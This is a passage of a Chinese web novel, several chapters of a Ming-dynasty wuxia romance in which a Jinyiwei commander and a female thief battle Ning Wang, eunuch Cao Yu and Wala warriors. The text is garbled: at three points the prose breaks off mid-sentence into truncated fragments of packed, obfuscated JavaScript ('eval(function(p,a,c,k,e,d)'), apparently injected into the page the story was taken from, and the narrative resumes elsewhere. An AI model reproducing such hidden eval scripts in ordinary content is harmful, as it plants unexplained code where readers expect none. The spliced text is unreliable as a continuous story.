聂未晨握住她颤抖的手,将短刀拔出,连同一份密档一起放在她手上:“三年前我查赵世安时,他已是户部左侍郎。”他沉声道,“现在有更要紧的事……程墨亭今晨过了鄱阳湖。” 密档纸页泛黄,在梁若鸢手中哗啦作响,记录里有程墨亭的真实身份,不仅是御前司暗探、扬州茶商,更是当年白莲教主程砚之的遗孤。 她想起了灭门那一夜,那个提刀站在血泊中的少年。 “所以他从一开始就……”梁若鸢指甲攥进了掌心里,所谓搭档,原来是他的复仇游戏。 “他要的不是真相。”聂未晨展开南昌城防图,朱墨圈在滕王阁处,“宁王和赵世安的往来信件,是他手中最后的筹码。” 地道入口毫无遮掩,夜风卷入密室,钻出通气的小窗发出呜咽声,梁若鸢盯着城防图,面上薄纱轻轻飘动。 聂未晨解下腰间玉佩,递给她:“御前司有人在找这个,它能调动长江水师。” 血色纹路在密室烛火下微光流转,那是先帝赐给锦衣卫的密令符,梁若鸢拿起看了看,蹙眉疑惑,摸出先前给她的南方边军兵符副令,并排放在两只手中:“怎么用?” 聂未晨唇角微扬,笑里出现了匪气:“你捡的小贼都会,你不会?” 梁若鸢狐疑着看他,暂且收起,不答,从他身侧绕过,往地道里走。 南昌卫所空无一人,两人刚出地道,一支铁剑钉在了他们身后的老树上。 “程墨亭的见面礼。”聂未晨将她拉在身后,第二支箭钉在她脚边,箭尾系着素笺,墨迹狂放:“冤债十四年,滕王阁上还。” …… 鄱阳湖夜雾弥漫,将滕王阁笼在薄纱之中,梁若鸢用玉佩调开巡逻船,扮作渔娘立在渔舟船头。 她抬头看着阁顶一个熟悉的身影,程墨亭一袭白衣坐在飞檐上,脚下木箱里,装着能定赵世安党羽死罪的信函。 “小狐狸来得真快。”程墨亭笑意温润,抛下一串钥匙,“可惜赵侍郎的信我烧了,只剩宁王写给家父的密函。”他忽然用戏腔念道,“弘治十五年腊月,借白莲教力除梁渝……” 梁若鸢身影一闪,消失片刻后,短刃凌空刺下,程墨亭偏头躲过,她带起一刀,割断他腰间锦囊。 密函化作雪片,纷扬落下,聂未晨绣春刀恰恰架在他颈间。 “聂大人可知御前司的规矩?”程墨亭浑不在意,抹去颈间血线,“同僚间不得互相残杀。” 阁楼剧烈摇晃起来,梁若鸢抢到栏杆边上,望见底层燃起熊熊烈火,程墨亭埋了火药,她返身想拉聂未晨,一道铁链却缠住了她的脚。 程墨亭笑声飘忽,迷离在浓雾中:“梁小姐,当年你父亲斩首,衙门里……是不是这样……” 寒光闪过,聂未晨一刀斩断铁链,将她推下阁楼:“接着!”他返身扑向程墨亭。 梁若鸢坠落的瞬间,看见阁楼上两道墨影在火中缠斗。 鄱阳湖的水比想象中冷,从背后将她吞没,她在水里睁开眼,模糊的视野里,滕王阁的大火将夜空烧的通红,似一道血红的伤口,不断有尖叫声传来,许多人大喊着“走水”。 玉佩还在她手里,她忽然觉得格外坠手,聂未晨推她的那一掌,力道还残留在脊背上。。 “聂未晨!” 湖中浪涌吞没了她的声音,她看见无数气泡浮上水面,就像十四年前,苏州府雪夜里呼出的白气。 那天夜里,她也是这样仰着头,看着火光在知府衙门疯狂燃烧,她猛地破水而出,手中玉佩反射出火光,甲胄碰撞声整齐而沉重,长江水师的赤焰旗帜在风中猎猎作响。 “令符在此!”她将玉佩高举过头,声音穿透浓雾和沉烟,“速救阁上所困之人!” 水师参将看清玉佩上的血色纹路,即刻跪叩领命,梁若鸢转身扎进水里,黛色衣裙如鱼尾掠过水面。 水下,聂未晨的衣摆缠在一块沉木上,一条铁链重重拖住了他的脚,猩红的水雾在他眼前翻涌,程墨亭的白衣像水鬼般舞着在身旁,梁若鸢从他身旁游过,手中小刀刺向程墨亭,一片血色在水里晕开。 程墨亭的头发似水草般飘动,令那忽然扬起的笑脸看起来怪异至极,水面火光在他眼中闪烁,他松开了手中锁链,任由水流将他带向深处,口形分明在说:“后会有期。” 梁若鸢拖着聂未晨浮出水面,长江水师的火把已将在湖面连成巨大的星桥,聂未晨呛出几口水来,手上深重的血色在水里迅速褪尽,摸向她腰间:“信……?” “在这儿。”梁若鸢按住他探向腰后的手,触到透骨的冰凉。 聂未晨腰间插着半截断箭,水面血色在火光下时隐时现,浮出一道长长的线。 梁若鸢浑身湿透,将他推上渔船,按在船板上,拆了银镯当夹板固定他的肋骨,水师参将带人赶来,看见她的动作狠得似在杀人。 “轻点……梁小姐。”聂未晨疼得抽气,却还扯出个笑,调侃道:“这算谋杀债主?” 梁若鸢一用力,听见他骨头“咔”地一声归位:“聂大人若死了,我找谁讨利息?”她说着扯开他衣襟处理箭伤。 参将识相退到船舷边,聂未晨余光瞥见,转过脸去,哑声喊道:“即刻封锁赣江所有渡口。”他咳出一口血沫,眼神锐利如刀,“程墨亭拿走的密函……是宁王与瓦剌的兵力部署。” 梁若鸢猛地抬头,聂未晨虚弱地勾住她的小指,那是她离开河间府客栈前与他约定不再做贼的手势,她转身对那参将嫣然一笑:“劳驾大人取坛烈酒来。” 等旁人退尽,聂未晨从舌下吐出一枚蜡丸,梁若鸢捏碎蜡封,绢布上密密麻麻标注着宁王藏在庐山的地下武库,正是用十四年前那批官银所建。 “程墨亭是故意让我们抢到假密函。”聂未晨抓住她的手,“他真正要送的是……” “白莲教圣物。”梁若鸢接了话,“黑莲玺。”她忽然压低声音,“你早知道程墨亭是……” 聂未晨用吻堵了她的话,带着血味的触碰轻轻一瞬,两人皆愣住。 梁若鸢回过神,指尖擦过嘴唇:“聂大人这算公务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁若鸢匕首抵上他的脖颈:“挑拨离间的手段真拙劣,这画工……不会是你自己临时画的吧?贬低我?”她扯开程墨亭的衣领,露出他锁骨下的刺金雁羽,“你才是宁王府训练的死士,白莲教不过是个幌子。” 程墨亭脸色变幻,梁若鸢趁机夺下了黑莲玺,将账册抛向油灯,火焰腾起的瞬间,地库开始坍塌。 “你父亲……真正效忠的是……”程墨亭在烟尘中咳嗽,甩出一道白绸缠住她的脚,“一起下地狱吧……” 头顶横梁轰然砸落,一道黑影掠入,绣春刀割断了白绸,聂未晨披风染血,裹着她滚向密室角落。 “血符……”梁若鸢刚开口,聂未晨便拽着她狂奔而出,身后通道接连崩塌,似咆哮的巨兽在身后追咬,他护着她冲出地面,整座宁王府地下传来闷雷般轰响。 晨光照落,聂未晨抹去她脸上的尘污:“血符是先帝赐予十二暗卫的印记……你父亲梁渝,正是暗卫之首,他表面替宁王铸箭藏银,实则将真账册与神机箭部署分开藏匿。账册所记的不仅是贪墨证据,更是先帝密旨调拨军械的真相,你爹以血符为锁,若自己遇害,这册死物,真本,就会是还原真相的关键物证。” 朝廷军的号角响起,聂未晨将黑莲玺系在她腰间,低着头,动作仔细:“我在京城是有认真当职的,没有撩拨姑娘……现在!”他系好了绳结,抬起头来,颇神气:“我们去会会宁王。” 梁若鸢晃神一瞬,扯住他扎着伤口的绷带:“利息涨了。”她咬破手指,在聂未晨眉心点了个花,“这是梁家女儿下的聘。” 聂未晨愣住,忽然大笑起来,牵动伤口,却将她搂在怀里:“等砍了宁王的脑袋,本指挥使亲自入赘。” 27. 一石三鸟 一支火箭炸开他们藏身的假山,聂未晨将飞溅的碎石挡在身后,梁若鸢抓着他,把他推到安全的地方,又问:“聂大人在京城,当真没撩拨过别家姑娘?” “天地良心。”他眼中闪过一丝慌张,睫毛在晨光下闪出一层金边,“这么多年的俸禄我可全都攒着……”他抬眼撞上她灼人目光,喉结动了动,“……不是都带你看过了嘛……” 梁若鸢将他一推,跑了出去,跃上园外一匹青海骢,艳红的发带在风中猎猎如旗:“原来你让我自取时便是认得我的?偏要绷个脸吓唬我?” 聂未晨笑出声,上马追去,钢刀劈开流矢,梁若鸢腰间黑莲玺折射出虹光。 城墙垛口江风猎猎,聂未晨提刀掠上城楼,将朱宸濠的玄金蟒袍挑开一道裂口,布料发出一串金线崩断的细微声响,朱宸濠低笑出声来…… “聂指挥使。”他指间染血,捏住刀尖,缓缓抬头,“你可知本王曾在午门外跪了三天三夜,求先帝彻查那年吴正通敌一事?”刀锋割破了他的指尖,血珠顺着鎏金刀纹滴落,“结果先帝赐我的,是一盏鸩酒,要么喝,要么滚……” 聂未晨刀势骤沉,刃口压进他颈间皮肉:“所以王爷私吞官银,勾结瓦剌、私铸兵甲,是在报当年折辱之仇?” “错。”朱宸濠怒喝,袖中滑出半截断刃刺向聂未晨心口,“是要问问紫禁城里那位……” 梁若鸢甩出几枚铜钱击开断刃,聂未晨刀柄重重砸在宁王额角上。 朱宸濠踉跄跪地,城外南方边军的赤龙旗已插上了敌楼。 “王爷输了。”聂未晨踩在他肩上。 梁若鸢腰间黑莲玺暗格弹开,她取出了几页薄如蝉翼的密诏,看了又看:“看来……先帝早知你会反,这道废王诏十四年前就写好了……可惜,你要的东西,一样也没得到。” 朱宸濠盯着诏书末尾“其罪当诛”的朱批癫狂大笑:“好个算无遗策的弘治帝!”他猛地抬眼睨向梁若鸢,“那你可知当年是谁向先帝告密,说梁渝贪墨官银的?” 梁若鸢拔刀指向他。 他目光转向聂未晨,笑起来:“是锦衣卫……” 聂未晨一脚碾断他右手骨节,惨叫声中,他俯身耳语:“王爷还是省省力气,诏狱里有时间聊。” 他甩袖转身,玄色披风扫过朱宸濠面门,又补了句:“比如杜禹锡……他是怎么用你养的私兵,悄悄屠了梁府满门的?” 朱宸濠怔住,空空看着城楼上满地狼藉。 梁若鸢有些不懂,撤了刀,指尖刮了刮刀刃,弯腰与他说道:“对了,还有一事,您让我修画的那几日,书房暗格里那本《火器图鉴》……”她笑了笑,做出一副不好意思地模样,“我添了二十七处错漏,瓦剌使者这会儿应该……炸了吧?” 城下爆出惊天巨响,瓦剌使者的藏匿处腾起大朵火云,聂未晨挑眉看她,梁若鸢眨了眨眼:“神机箭改良版,还不错~” 军靴踏地声急促而来,王守仁率精锐边军登上城楼,这位平定叛乱的儒将衣袂沾血,脚步一顿,似有些局促,轻咳一声:“聂大人,圣谕要活的。” “聒噪。”聂未晨揽过梁若鸢吻下去,将她未出口的惊呼与朱宸濠发狂般的诅咒尽数封缄。 他一点点松开,拇指擦过她的唇角,低笑道:“你看,我真有认真办差,他以为给我弄个婚事捣乱,我就查不到了……如今都要疯了。” 朱宸濠在官兵的押解下挣扎嘶吼:“聂未晨!你以为赢的是你?当年在诏狱……” 王守仁一记手刀劈在宁王颈侧,对聂未晨无奈道:“聂兄,好歹给王某留个能说话的犯人,逼疯了可如何是好?” 梁若鸢“嗤”地笑出声,指尖戳了戳聂未晨心口:“原来指挥使大人也会公报私仇的?” “这叫利息。”聂未晨一副扬眉吐气的态度,“你爹若在天有灵,看见闺女这般凶悍……” “会夸我眼光好。”梁若鸢拽着他衣领吻上去,身后南昌城的烈焰将两人身影镀上了金边。 王守仁摇头轻笑,挥手示意官兵将昏过去的朱宸濠拖走。 …… 当夜,临时帅帐,王守仁捧着兵书无奈道:“二位,这是军营。” 梁若鸢正给聂未晨肋间伤口换药,闻言一针戳进皮肉里:“王大人当年在龙场驿,没见过苗女疗伤脱衣裳?” 聂未晨闷哼一声,笑着将她的手按在自己心口:“王兄不如去看看,那盏我刚送给曹玉曹公公的‘琉璃灯’炸了没有?” 帐外爆炸声乍起,王守仁霍然起身:“你们在灯里藏了什么?” 梁若鸢看着门外,手指无意识地划向聂未晨腹肌:“小东西,算……惊喜?” 聂未晨抓住她作乱的手,对目瞪口呆的王守仁举了案上酒杯:“敬阳明先生,下次平叛,记得先查查有没有谁在借刀杀人。” 王守仁手中兵书“啪”地合上,帐外火光映得他眉间沟壑深深:“聂大人这是要连王某也一道算计?” 梁若鸢指尖勾着染血的纱布,闻言轻笑:“王大人言重了。那盏琉璃灯里不过添了些西域火油……专烧通敌密信用的。” 她忽然倾身,发梢扫过聂未晨绷紧的腹肌,将纱布绕过他腰背又扯回,束了个结:“倒是曹公公书房里那几封与宁王往来的书信,此刻怕是化成灰了,我就知道他不是什么好人,。” 又一声爆响,聂未晨猛地起身将她拉到身后,劲风掀起帐帘,一枚淬毒的柳叶镖钉在案几上。 “杜禹锡的送葬镖。”聂未晨顺手披衣,提了刀,帐外官兵已纷纷倒地,“王兄现在信了?宁王府的鹰犬为了活下去,是连你这平叛主帅都要灭口的。” 王守仁拂袖打落第二枚冷镖,砚台里的墨汁溅在了兵书上。 他盯着帐外火光苦笑:“好个一石三鸟,借宁王造反清洗边军,再让杜禹锡杀我,嫁祸瓦剌……”他话未说完,第三枚毒镖已穿透帐顶油灯。 黑暗笼下,梁若鸢朝各处甩出数枚铜钱,金属碰撞声在帐中响起,她将聂未晨扑倒在地,两人滚到了兵器架旁。 温热的液体滴在聂未晨脸上,他摸到她肩上插着的半截铁镖,一把抓紧了她的手臂:“你……” “没事。”她把断镖拔出来,就着一点视野递到他面前,“你闻一下,镖上淬的是蛇莓汁,杜老狗还当我是怕痒的小姑娘呢。” 帐外亮如白昼,王守仁手持火把立于兵阵前,他的亲兵不知何时已换成神机营的火铳手,二十步开外一处树梢上,杜禹锡玄铁面具泛着寒光。 “杜同知夜闯军营。”王守仁抬手示意火铳预备,“可是要替宁王传递遗言?” 杜禹锡冷声道:“阳明先生可知,弘治十八年科举案的卷宗……”他袖中甩出流星锤直冲王守仁面门,“如今在谁手里?” 聂未晨挥刀截下,梁若鸢趁机跃上帐顶,黑莲玺机关弹开,二十七枚银针暴雨般罩向杜禹锡,她惊喜一笑:“不如你到阎王的生死簿上找找!” 杜禹锡铁袖扫落银针,王守仁趁机一脚将他踹下了树,老锦衣卫在坠地一瞬袖箭齐发,聂未晨飞身挡在王守仁面前,三支箭矢擦过他脸侧额角。 “聂大人!” 王守仁扶住他,却见他伤痕渗血,唇角勾起一道狠戾。 杜禹锡踉跄后退,一支穿骨钉不知何时刺进了他的心口。 梁若鸢脚边躺在叛军尸体,正轻轻呼散烧焦弩机上的青烟:“杜叔叔,当年你带人杀我全家时,可想过有今日?” “要怪就怪你爹招惹不该招惹的人……”杜禹锡咳出一口血来,半跪着睨向梁若鸢。 聂未晨将她挡在身后,十指相扣,扫过杜禹锡一眼:“王大人放心,我与梁小姐恰好都很擅长一件事……”他擦了擦脸上血迹,拽着梁若鸢奔向马厩,“就是趁火打劫!” 军马踏着烈焰冲出军营,梁若鸢耸了耸肩,颈上已红了大片,聂未晨在颠簸中咬开她的衣领,俯身吮出她肩上的毒血:“你早知道曹玉?” “我早知道你的婚事定有问题……”她摸出暗袋里最后一颗南疆灵药塞在他嘴里,“既然敢抗旨逃婚,那现在去偷白莲教的老窝,指挥使大人敢不敢呀?” 聂未晨将药吞下,绣春刀劈开迎面飞来的火箭,轻笑道:“夫人带路就是。” 王守仁望着南昌城烧红的夜空,摇头轻叹:“这哪是平叛,分明是拆庙啊……” …… 鄱阳湖的晨雾血气未散,梁若鸢将小舟撑离岸边,南昌城的火光仍在西面天际隐隐发亮。 聂未晨半靠在船头,肋下包扎的白布还渗着暗红,手里紧攥着那卷从黑莲玺中取出的密诏。 “大人再不躺下,这伤怕是要烂到心脉了。”梁若鸢竹篙一点,小舟滑入芦苇荡深处。 她袖口还沾着昨夜的血,目光眺望远处硝烟,聂未晨轻笑,伸手握住她手中竹篙,“往北岔口走,水师在主干道设了卡。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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聂未晨将图纸一把夺过:“嫉妒。” “嫉妒?”她挑眉,“堂堂锦衣卫指挥使,嫉妒一个女贼?” 聂未晨看她片刻,不知她到底是不是因为救了自己,才代自己受了这一世的业,他指尖一翻,图纸卷起,收进了衣襟里:“嫉妒你有个师父肯教你偷,而我……”他顿了顿,眼底闪过一丝阴翳,“我连‘一阵风’那样的老贼都没遇上。” 他懒散往后一靠,伤口扯得刺痛:“我记事起,就跟着一个老乞丐讨饭,他不教我偷,只让我去偷,偷不到,他就饿着我。” “你那时多大?” “五六岁?记不清了。”他嗤笑,“我只记得,第一次偷到钱袋时,他夸我‘天生就该吃这碗饭’,然后转头就把钱拿去赌了。” 梁若鸢腕上血纹一阵痉挛,沉默片刻,忽然伸手,指尖轻轻碰了碰他眉骨上一道不明显的旧疤:“这道伤,好像那时就有?” 聂未晨眸色一暗,抓住她的手:“梁小姐,动手动脚的毛病,得改。” 梁若鸢倾身逼近,呼吸拂过他唇角:“聂大人,你嫉妒我,是不是因为……”她轻笑,“我偷东西,是为了复仇,而你偷东西,只是为了活命?” 聂未晨眼底骤然一冷,猛地扣住她后颈,将她压向自己:“梁小姐,你知不知道,挑衅一个锦衣卫,后果是什么?” 梁若鸢不退不让,指尖划过他喉结:“不知道,不如大人告诉我?” 两人呼吸交错,芦苇荡里风声簌簌,远处传来一声鸟鸣,聂未晨眼神一凛,瞬间松开她:“有埋伏。” 已是夜半,两人弃舟登岸,离在河岸不远处,寻到一间偏僻客栈,假意落脚。 梁若鸢推开房门,聂未晨点起了灯,假意坐在窗边擦刀,烛火映着他的侧脸,森冷静谧。 她靠在门框上,抱臂打量他:“大人,你擦刀的样子,像在琢磨怎么杀人。” 聂未晨头也不抬:“梁小姐看人的眼神,像在琢磨怎么偷心。” 梁若鸢不屑,关上门:“偷心?聂大人的心,值几个钱?”她背对他,眼睛往后撇。 聂未晨抬起头来,刀尖轻轻点了点桌面:“不如你来试试?” 梁若鸢大步靠近,径直走到他面前,俯身撑住桌沿,与他四目相对:“好啊,那我试试?” 窗外传来马蹄声,两人同时转头,缝隙里可见几个身着汉装的彪形大汉翻下马来,腰间佩刀寒光闪烁。 其中一人颈侧有一块火焰状胎记,梁若鸢浑身一僵。 “是阿速特部……” 聂未晨察觉她气息有异,按住她的手,低声道:“别动。” 楼下,瓦剌人踏入客栈,掌柜战战兢兢迎上去:“几位客官,打尖还是住店?” 为首那人冷笑一声,掏出一块令牌扔在柜台上,身后几人皆拔出刀来:“兵部办事,闲杂人等,滚!” 28. 定情信物 梁若鸢扣住聂未晨的手,指甲深深掐进他的皮肉,那些瓦剌人颈侧的火焰刺青,与十四年前闯入梁府宣旨的人一模一样。 “阿速特部的血狼卫……”她声音轻得像雪落寒刀,“当年跟在传旨太监身边的,就有他们。” 她眼底戾气翻涌,聂未晨轻抚她腕间脉搏,低笑一声:“怕了?” 她倏地转眼,与他呼吸交错:“怕你护不住我?” 楼下木梯吱呀作响,聂未晨一把捂住她的嘴,吹灭蜡烛,揽着她滚进床榻帷帐,黑暗中,绣春刀在帐中寒光隐现,而他掌心温度灼人。 “搜!”门外瓦剌武士踹开隔壁房门,瓷器碎裂声混着听不懂的咒骂。 梁若鸢忽然将他压倒,指尖挑开他的衣襟,他眉梢一扬,任由她指尖划过胸膛,嗓音沙哑:“梁小姐这是……要演活春宫?” “闭嘴,配合。”她咬耳低语,长发垂落在他颈侧,挠得他心颈皆痒。 瓦剌人破门而入,帐内锦被翻浪,女子肩颈如瓷,男子手掌正扣在她后腰处。 “晦气!”为首的武士啐了一口,唯独颈侧带胎记的头领眯眼逼近,弯刀挑开梁若鸢散落的外裳…… 帐中寒光乍起,聂未晨的刀自被下掠出,削飞了他三根手指,梁若鸢甩出帐钩,铜尖刺穿了另一人的眼球。 门边三人刚拔刀,三支火药弩箭破窗而入,引线火花正燃。 聂未晨搂紧梁若鸢,两人撞窗而出,身后爆炸翻起热浪,将两人掀进芦苇荡里。 她刚撑起身子,便见他右腿扎着木刺,鲜血浸透了裤管。 “别动。”她正要伸手去拔,他猛地将她按倒,一支鸣镝箭擦着她发髻穿入芦苇中,哨声凄厉不绝。 “血狼卫的求援箭。”他的呼吸挠在她耳后,掌心贴着她的腰线下滑,“方圆十里的瓦剌人都会来……比如现在。” 河面陡然亮起数十火把,曹玉的官船破浪而至,船头三门佛郎机炮森然对准岸边。 火光逼近,聂未晨单膝跪在她身侧,指尖卷起她一缕湿发把玩:“曹玉来得倒快,看来宁王这条狗,他拴得很紧。” 梁若鸢一搐,推开他的手,指尖勾住他的腰带:“你猜他是来找我,还是来灭你的口?” 他忽然俯身,鼻尖几乎贴上她:“我猜……他想一箭双雕。” “趴下!”他猛地压住她后颈,两人紧贴倒地,一支红羽箭扎进芦苇丛,箭尾颤动如血珠。 “血狼卫的援兵到了。”他指尖在她脊背轻划,“数到三,跳河。” 她瞪着他:“你疯了?曹玉的炮口……” “一。” 他打断她的话,在她耳边低语。 芦苇丛中窸窣声逼近,至少五个血狼卫合围。 “二。” 他掌心贴住她后心,体温穿透了她的衣裳。 河面官船开始转向,佛郎机炮已在调整角度…… “三!” 他搂着她纵身入水,河水冰凉刺骨,吞没两人的刹那,他将她牢牢箍进怀里。 水下昏暗,梁若鸢腰间一紧,睁眼看见他的头发在水中散开,而他忽然凑近,在她唇上咬了一记,眼底笑意嚣张。 燕十的火药箭正中官船桅杆,水面炸开三团火球,聂未晨拖她浮出水面,身后是曹玉发疯般的怒吼,刺耳的叫喊与瓦剌人的惨叫混作一团。 柳林中,燕十拧着湿透的衣袖,目光在二人交握的手上转了一圈,憋笑道:“大人,卑职是不是……来得不是时候?” 聂未晨甩去刀上水珠,将梁若鸢往怀里带:“知道就滚远点。” 梁若鸢指尖戳在他心口伤处,疼得他倒抽冷气:“聂大人这苦肉计,演得挺逼真?” 他扣住她的手,低头逼近:“比不上梁小姐的‘投怀送抱’……” 林中传来曹玉一声尖笑:“好一对亡命鸳鸯!” 数十名锦衣卫缇骑封死退路,曹玉蟒袍滴水,细剑直指二人:“聂大人,陛下口谕,要梁小姐回京听审……这陛下要的人,你也敢藏?” 聂未晨慢条斯理地擦净刀刃,将梁若鸢推到燕十身边:“带她走。” “你……”她怒极反笑,“又想逞英雄?” 聂未晨刀光劈开了夜色,指向曹玉:“谁敢动她,我剁了谁喂狗。” 曹玉阴鸷道:“聂大人,你这是要造反?” 聂未晨信手斩落水里跃起的瓦剌人,刀锋斜指地面,往前一步,鲜血顺着刃口滴落,他唇角勾起一抹讥诮:“曹公公深夜截了王大人的令,带兵……”他顿了顿,扫过一眼地上哀嚎的血狼卫,“带瓦剌人……截杀朝廷命官,我倒要问问……是谁在造反?” 梁若鸢甩开燕十,短刀刺向曹玉脖颈:“废话少说!十四年的血债,你们也该还了!” 曹玉尖笑一声,蟒袖挥起:“给咱家拿下!” 三十名锦衣卫缇骑同时拔剑,水岸边寒光如林。 聂未晨侧身挡在梁若鸢身前,刀锋横斩,一击劈开最先冲来的两柄雁翎剑,血花溅在了脸上,他低喝道:“燕十!” 燕十以拳脚击落数人,闪入柳林暗处,臂上弩箭连发,三名缇骑应声倒地,包围圈撕开了一道缺口。 梁若鸢趁机掠出,聂未晨紧随着,绣春刀划过挥刀劈来的缇骑脖颈,尸体倒地的闷响伴随着轰天的爆炸声。 河对岸,南方边军的神机箭呼啸而至,将曹玉的官船彻底点燃,冲天的火光映红了半边夜幕,热浪裹挟着木屑纷飞如蝶,混乱掩盖了柳林里的厮杀。 “走!”聂未晨一把攥住梁若鸢的手,刀光破开重围,曹玉站在叛变的锦衣卫和瓦剌人之中暴跳如雷,亲自提剑掠出,细剑刺向梁若鸢后心。 聂未晨回身格挡,两刃相撞,火花四溅,曹玉阴笑变招,剑尖下挑,刺向他腿伤处。 梁若鸢旋身一脚,绣鞋鞋底在曹玉脸上划出数道血痕。 “阉狗!”她怒目暴喝,“你的对手是我!” 曹玉抹了把脸上的血,目光几近癫狂:“好得很!敬酒不吃吃罚酒,今日就让你们做对同命鸳鸯!” 他吹响骨哨,林中冲出十余东厂番子,手持淬毒劲弩。 聂未晨将她一把推到树后,毒弩如雨,射穿了树皮,在树干上腐蚀出一个个焦黑的孔洞。 “大人不是最能想办法吗?”梁若鸢背贴着他的胸膛,呼吸微促,“现在怎么办?” 他低头吻了她耳尖,呼吸里混着血气:“赌一把。” 他抱起她,纵身跃上树梢,曹玉怒骂不绝,燕十从暗处掷出了最后一管火药箭。 火药炸起满地碎石,热浪将东厂番子掀翻,三人借机冲向河滩,一艘乌篷船正从芦苇丛中划出,船头立着个疤脸汉子。 “上船!”那汉子用力抛出了缆绳。 雁翎剑破空飞来,聂未晨挥刀劈落,剑身暗藏的机簧将他右手震得虎口迸裂,曹玉转手直刺他心窝。 梁若鸢手中短刀贯入曹玉右肩,番子的弩箭自她手臂擦过,渗出的血色在一瞬间变黑。 她踉跄半步,聂未晨将她拦腰抱住。 “走!”他眼底泛起血色,抱着她跳上船板,刀疤汉子用力撑篙,乌篷船窜入芦苇茂密的河道。 曹玉在岸上大声咆哮:“发信号!沿河封锁!” 一支响箭升空炸开,紫色烟云漫天弥散,聂未晨撕开梁若鸢袖管,吸出毒血吐在河里,抬头时唇色泛青。 “你……”梁若鸢指尖发颤。 他扯了个笑,沾血的手指蹭过她的脸:“梁小姐若死了,我找谁讨洞房花烛夜呢?” 燕十在船尾探身惊呼:“大人!前方水闸落了铁索!” 乌篷船在铁索前急转,水击浪高,船身半数压进了水里,梁若鸢借势跃上闸楼,短刀寒光一闪,绞盘绳索应声断开,铁索坠入河中,激起丈高水浪。 聂未晨踹翻冲来的闸兵,寒刃滴着血,他从尸体怀中摸出一封火漆密信,信纸展开的刹那,他整个怔住…… 白莲教的暗记旁,赫然盖着东厂提督的私印,是新的。 “这个曹玉怕是把曹化成都算进去了……”他冷笑一声,指尖触过信上朱批,“连谋逆的账本都敢让血狼卫经手。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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三人趁乱冲上岸,山林深处,白莲教总坛方向,滚滚浓烟翻涌而起,及至他们赶到白莲教老巢,只见尸横遍地…… 血狼卫的弯刀插在白莲教徒心口,东厂的毒弩钉在血狼卫背上,显然刚经历过一场三方混战。 梁若鸢绕开几具尸体,发现一道地窖暗门。 聂未晨斩落铜锁,三人走了下去,窖中堆积的火铳与漕运图册令燕十倒吸寒气:“这够武装一支边军……” “曹玉在灭口。”聂未晨捡起石阶底下半截烧焦的密信,上面残存“陛下”“丹药”等字眼,“白莲教炼的所谓长生药,怕是毒杀陛下的饵。” 梁若鸢拉住他:“有人。” 阴影里爬出个奄奄一息的老者,看衣着,应是白莲教长老,颈侧毒弩已将他的喉咙腐蚀见骨。 他死死抓住了聂未晨的靴尖,嘶声道:“曹玉……骗我们……药方是假的……” “谁指使的?”梁若鸢将他翻身拉起。 长老眼球凸出,挤出最后几个字:“龙……龙椅上……” 三人走出地窖,四周传来轻微的脚步声,三支红羽箭擦肩而过,他们退到一方岩壁后:“是血狼卫,他们没死绝!” 燕十从脚边尸体怀里摸出了一块玄铁令牌:“大人,是御前司的腰牌!” 三人对视一眼,寒意彻骨,御前司直属朱厚照,却与血狼卫暗通款曲…… “回京。”聂未晨将密匣塞到梁若鸢怀里,“你带着证据走陆路,我走水路引开追兵。” 她一把扯住他衣领:“聂未晨,你说好入赘我家,便要听我指挥!” 一声爆响传来,山崖炸开了缺口,巨石滚落,封死了退路。 血狼卫手持弯刀,在火光中狞笑着逼近,为首者满脸是血,混着灰黑的沙土:“主子说了,活要见人……” “死要见尸!”聂未晨寒刃劈出,将梁若鸢推向燕十,“到老地方会合!” 梁若鸢甩出三枚铜钱,趁乱抓住他的手将他一把拉回,散落各处的火光似在她眼中凝聚。 “要回一起回,要死……” 聂未晨低头吻住她,在血腥与硝烟中辗转厮磨,分开时,他笑得放肆:“梁小姐若真想死……”他挥刀劈开扑来的血狼卫,贴着她耳边低语,“也得等我在龙凤喜烛下,亲手解了你的嫁衣。” 燕十架起弩箭开路,三人冲进密林深处,身后追兵的火把汇作星河,京城的方向,浓云正吞噬皎月。 29. 分钱之约 细雨如丝飘洒,官道旁的茶寮里,梁若鸢解下蓑衣,随手一甩,水珠溅了聂未晨一脸。 “夫人这是要谋杀亲夫?”聂未晨无奈闭眼,抹了把脸,唇角勾起一抹痞笑,手指在桌下不安分地勾了勾她的腰带。 梁若鸢一记手刀劈了他手腕:“聂大人记性不好,婚期未有着落,谁是你夫人?”她挑眉冷笑,“莫不是落水时脑子进了太多河水?” 聂未晨灵活避开,顺势捉住她的手,拇指在她脉搏处摩挲:“梁小姐脉搏这么快,可是心疼我了?”他倾身向前,在她耳畔低声细语,“我厮杀多年,有分寸,你不必紧张……” “呵。”梁若鸢一脚踩在他靴尖上,见他吃痛也不松手,干脆借力一拽,将他拉得一个踉跄,“聂大人凡事自有主张,是我逾矩了……放开!” 角落里,燕十与半道跟上的疤脸汉子张五挤眉弄眼。 “赌一两银子,我家大人今晚要睡地上。”燕十压低声音,从怀里摸出半壶酒。 张五咧嘴一笑,露出两颗金牙:“老交情怎还那么抠门……我赌二两,梁小姐先动手。”他瞥了眼剑拔弩张的两人,“瞧见没,梁姑娘摸刀了。” 梁若鸢的短刀抵在聂未晨腰间,聂未晨推出刀柄贴着她的腿,一个气得瞪眼,一个蹙眉无奈,又带着沾沾自喜的笑意。 “二位主子,”燕十忍不住出声,“打情骂俏能不能等甩开追兵再说?”他指了指窗外,“刚过去第三个探子。” 聂未晨头也不回:“闭嘴。”他手上松了力道,顺势将梁若鸢往怀里搂,“听见没,我家燕十都看不下去了。” 梁若鸢膝盖一顶,逼他后退:“谁家的?”她眯起眼,“聂大人莫忘了,说得明明白白,你入赘梁家。” “是是是,”聂未晨举手投降,眼中闪着狡黠的光,“那梁小姐何时给为夫一个切实的名分?” 张五一口酒喷了出来,燕十踹了他一脚。 